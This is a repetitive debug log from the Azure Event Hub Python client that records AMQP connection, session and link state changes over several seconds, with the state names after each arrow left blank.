[azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:18:26,162 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:18:26,162 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:18:26,162 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:18:26,162 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:18:26,162 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:26,162 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:18:26,162 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:26,162 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:18:26,163 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:26,377 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: None -> +2026-03-13 03:18:26,476 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:18:26,476 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:18:26,476 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:18:26,477 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:18:26,477 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:26,477 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:18:26,477 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:26,477 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:18:26,526 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:18:26,576 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:18:26,626 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:18:26,677 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:26,677 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:18:26,727 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:26,727 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:18:26,929 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:26,979 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:27,085 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:27,085 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:27,086 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:18:27,086 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:27,086 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:18:27,086 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:18:27,086 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:18:27,086 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:18:27,086 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:18:27,086 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:27,086 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:18:27,086 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:27,086 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:18:27,086 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:27,324 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: None -> +2026-03-13 03:18:27,442 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:18:27,442 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:18:27,442 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:18:27,442 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:18:27,443 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:27,443 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:18:27,443 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:27,443 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:18:27,501 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:18:27,551 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:18:27,602 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:18:27,652 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:27,652 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:18:27,702 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:27,703 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:18:27,913 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:27,972 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:28,088 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:28,088 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:28,088 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:18:28,088 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:28,088 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:18:28,089 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:18:28,089 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:18:28,089 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:18:28,089 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:18:28,089 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:28,089 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:18:28,089 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:28,089 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:18:28,089 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:28,333 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: None -> +2026-03-13 03:18:28,449 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:18:28,449 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:18:28,449 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:18:28,450 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:18:28,450 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:28,450 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:18:28,450 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:28,450 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:18:28,507 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:18:28,558 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:18:28,608 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:18:28,658 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:28,658 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:18:28,709 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:28,709 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:18:28,918 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:28,977 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:29,093 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:29,093 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:29,093 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:18:29,094 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:29,094 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:18:29,094 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:18:29,094 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:18:29,094 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:18:29,094 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:18:29,094 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:29,094 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:18:29,094 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:29,094 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:18:29,094 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:29,325 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: None -> +2026-03-13 03:18:29,434 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:18:29,434 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:18:29,434 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:18:29,434 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:18:29,434 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:29,434 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:18:29,434 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:29,435 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:18:29,488 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:18:29,538 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:18:29,588 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:18:29,639 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:29,639 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:18:29,689 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:29,689 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:18:29,894 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:29,949 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:30,065 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:30,066 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:30,066 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:18:30,066 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:30,066 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:18:30,066 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:18:30,066 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:18:30,066 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:18:30,066 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:18:30,066 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:30,066 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:18:30,066 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:30,066 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:18:30,066 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:30,292 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: None -> +2026-03-13 03:18:30,401 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:18:30,401 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:18:30,401 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:18:30,401 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:18:30,401 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:30,402 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:18:30,402 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:30,402 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:18:30,454 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:18:30,504 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:18:30,555 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:18:30,605 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:30,605 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:18:30,656 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:30,656 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:18:30,860 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:30,914 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:31,027 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:31,027 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:31,027 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:18:31,027 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:31,027 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:18:31,027 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:18:31,028 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:18:31,028 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:18:31,028 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:18:31,028 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:31,028 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:18:31,028 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:31,028 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:18:31,028 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:31,264 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: None -> +2026-03-13 03:18:31,364 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:18:31,364 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:18:31,365 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:18:31,365 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:18:31,365 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:31,365 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:18:31,365 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:31,365 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:18:31,415 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:18:31,465 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:18:31,515 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:18:31,566 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:31,566 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:18:31,616 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:31,616 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:18:31,818 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:31,869 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:31,979 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:31,979 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:31,979 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:18:31,979 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:31,979 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:18:31,979 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:18:31,979 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:18:31,979 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:18:31,979 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:18:31,979 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:31,979 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:18:31,979 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:31,979 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:18:31,979 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:32,214 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: None -> +2026-03-13 03:18:32,331 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:18:32,331 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:18:32,331 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:18:32,331 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:18:32,332 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:32,332 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:18:32,332 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:32,332 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:18:32,389 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:18:32,439 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:18:32,489 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:18:32,540 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:32,540 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:18:32,590 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:32,590 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:18:32,800 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:32,858 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:32,972 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:32,973 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:32,973 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:18:32,973 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:32,973 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:18:32,973 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:18:32,973 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:18:32,973 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:18:32,973 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:18:32,973 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:32,973 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:18:32,973 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:32,973 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:18:32,973 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:33,204 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: None -> +2026-03-13 03:18:33,313 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:18:33,313 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:18:33,313 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:18:33,313 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:18:33,313 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:33,313 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:18:33,313 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:33,314 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:18:33,367 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:18:33,417 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:18:33,468 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:18:33,518 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:33,518 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:18:33,569 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:33,569 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:18:33,783 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:33,838 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:33,950 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:33,950 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:33,950 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:18:33,950 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:33,950 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:18:33,951 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:18:33,951 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:18:33,951 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:18:33,951 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:18:33,951 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:33,951 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:18:33,951 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:33,951 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:18:33,951 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:34,194 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: None -> +2026-03-13 03:18:34,312 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:18:34,312 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:18:34,312 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:18:34,313 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:18:34,313 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:34,313 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:18:34,313 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:34,313 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:18:34,371 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:18:34,422 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:18:34,472 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:18:34,522 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:34,523 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:18:34,573 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:34,573 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:18:34,783 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:34,843 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:34,958 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:34,958 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:34,958 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:18:34,958 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:34,958 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:18:34,958 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:18:34,958 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:18:34,958 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:18:34,958 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:18:34,958 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:34,958 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:18:34,958 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:34,958 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:18:34,958 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:35,202 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: None -> +2026-03-13 03:18:35,319 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:18:35,319 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:18:35,319 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:18:35,319 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:18:35,319 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:35,320 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:18:35,320 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:35,320 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:18:35,377 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:18:35,427 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:18:35,477 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:18:35,528 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:35,528 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:18:35,578 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:35,578 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:18:35,788 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:35,846 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:35,962 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:35,963 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:35,963 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:18:35,963 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> 